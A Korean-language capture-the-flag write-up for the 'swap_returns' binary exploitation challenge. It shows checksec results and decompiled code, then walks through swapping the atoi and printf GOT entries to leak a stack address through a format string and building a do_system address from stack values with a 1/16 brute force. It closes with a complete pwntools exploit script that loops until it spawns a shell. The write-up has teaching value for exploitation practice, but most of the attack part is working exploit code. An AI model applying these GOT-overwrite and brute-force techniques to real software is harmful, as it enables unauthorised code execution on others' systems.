문제


swap_returns 바이너리의 checksec 결과는 다음과 같다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

file 명령어의 결과는 다음과 같다.

swap_returns: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=777bd9bf561cb7af8c22b442f1c146e85f7395c4, not stripped

바이너리 코드

main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  ...
  
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(*(_QWORD *)&argc, argv);
      v3 = read_int();
      if ( v3 != 2 )
        break;
      v6 = *v4;
      *v4 = *v5;
      *v5 = v6;
      v6 = 0LL;
    }
    if ( v3 == 3 )
    {
      printf("Bye. ");
      _exit(0);
    }
    if ( v3 == 1 )
    {
      puts("1st address: ");
      __isoc99_fscanf(stdin, "%lu", &v4);
      puts("2nd address: ");
      argv = (const char **)"%lu";
      *(_QWORD *)&argc = stdin;
      __isoc99_fscanf(stdin, "%lu", &v5);
    }
    else
    {
      printf("Invalid choice. ");
    }
  }
}

read_int()

__int64 read_int()
{
  __int16 buf; // [rsp+6h] [rbp-Ah]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  read(0, &buf, 2uLL);
  return (unsigned int)atoi((const char *)&buf);
}

기능은 매우 간단하다. scanf를 통해서 입력한 두 개의 주소에 들어 있는 값을 서로 xchg 해준다.

이를 통해서 got overwrite를 할 수 있다. 하지만 got를 내가 넣어준 입력값으로 변경할 수는 없다. (user input으로 overwrite가 불가능하다.)

여기서 우리가 입력으로 넣으줄 수 있는 곳은 (우리가 유일하게 control 할 수 있는 부분) read_int() 함수의 2바이트를 read하는 부분밖에 없다.

exploit 과정

  1. atoi_got와 printf_got 값을 서로 바꾸면 buf에 %p를 통해서 rsi에 들어 있는 buf의 주소를 leak할 수 있다.
  2. 다음 read_int() 함수 호출 때 buf에 2바이트 값을 넣어주면 다시 atoi_got와 printf_got 값을 서로 바꿀 수 있다. (printf의 ret값은 출력한 문자열 개수)
  3. 스택에 있는 값들을 잘 조합해서 메모리의 특정 영역에 system 함수의 주소를 만든다.
    • 앞에서 호출된 printf가 내부적으로 vfprintf를 호출하기 때문에 stack에 vfprintf 함수 관련 주소가 존재한다. 주어진 libc.so.6에서 vfprintf와 system 함수의 offset 차이는 0x81f0이다.
    • system 함수의 하위 12bit는 특정 값으로 고정되어 있다.
    • system 함수의 13 - 16 bit 값이 8을 넘으면 vfprintf 함수와 system 함수의 17 - 20bit 값이 다르다. (1차이 발생)
    • 따라서 system 함수의 주소를 맞출 확률은 (13 - 16비트 값이 8보다 작을 확률) X (0 -7 사이의 숫자 중 정답을 맞출 확률)이 된다. 즉 1/16이다.
  4. 스택에 있는 값을 조합해서 만든 system 함수의 주소를 atoi의 got 값과 바꾼 후 read 함수에 “sh”를 인자로 준다. system 함수의 주소를 맞추면 쉘을 딸 수 있다.

=> 여기에서는 system 함수 내부에서 호출하는 do_system 함수의 주소가 더 만들기 쉬워서 do_system 함수를 이용했다.(do_system과 system 함수의 offset 차이는 0x580이다.)

c.f) 만약 printf가 한 번도 호출되지 않았을 때 1번을 수행하고 atoi를 호출하면 printf 호출 과정에 의해서 printf_got에 저장되어 있는 atoi_got 값을 printf의 주소값으로 덮어쓰게 된다. 따라서 다시 swap하고 atoi를 호출해도 printf가 호출된다.

풀이


#!/usr/bin/python

from pwn import *

def sel_num(num):
	p.recvuntil(": \n")
	p.send(num)

file_path="/home/sungyun/round3/swap/swap_returns"


while(1):
	p=process(file_path, env={"LD_PRELOAD" : "/home/sungyun/round3/swap/libc.so.6"})

	printf_got=0x601038
	atoi_got=0x601050
	setvbuf_got=0x601048
	bss_sec=0x6014c0

	sel_num("go")

	sel_num("1")

	p.recvuntil(": \n")
	p.sendline(str(printf_got))
	p.recvuntil(": \n")
	p.sendline(str(atoi_got))

	sel_num("2")
	sel_num("%p")
	stack=int(p.recv(14),16)
	
	sel_num("%s")
	print hex(stack)
	
	sel_num("1")
	p.recvuntil(": \n")
	p.sendline(str(stack-0x630))
	p.recvuntil(": \n")
	p.sendline(str(bss_sec))

	sel_num("77")

	sel_num("2")

	sel_num("1")
	p.recvuntil(": \n")
	p.sendline(str(bss_sec-4))
	p.recvuntil(": \n")
	p.sendline(str(stack-0x508-5)) 
	
	sel_num("2")

	sel_num("1")
	p.recvuntil(": \n")
	p.sendline(str(bss_sec-5))
	p.recvuntil(": \n")
	#p.sendline(str(stack-0x681)) #0x30
	p.sendline(str(stack-0x95))   #0x32
	sel_num("2")

	sel_num("1")
	p.recvuntil(": \n")
	p.sendline(str(bss_sec+2))
	p.recvuntil(": \n")
	p.sendline(str(atoi_got))

	sel_num("2")

	sel_num("sh")
	p.sendline("pwd")

	try:
		msg=p.recv()
		if "2. Swap" in msg:
			continue
		break
	except:
		p.close()

p.interactive()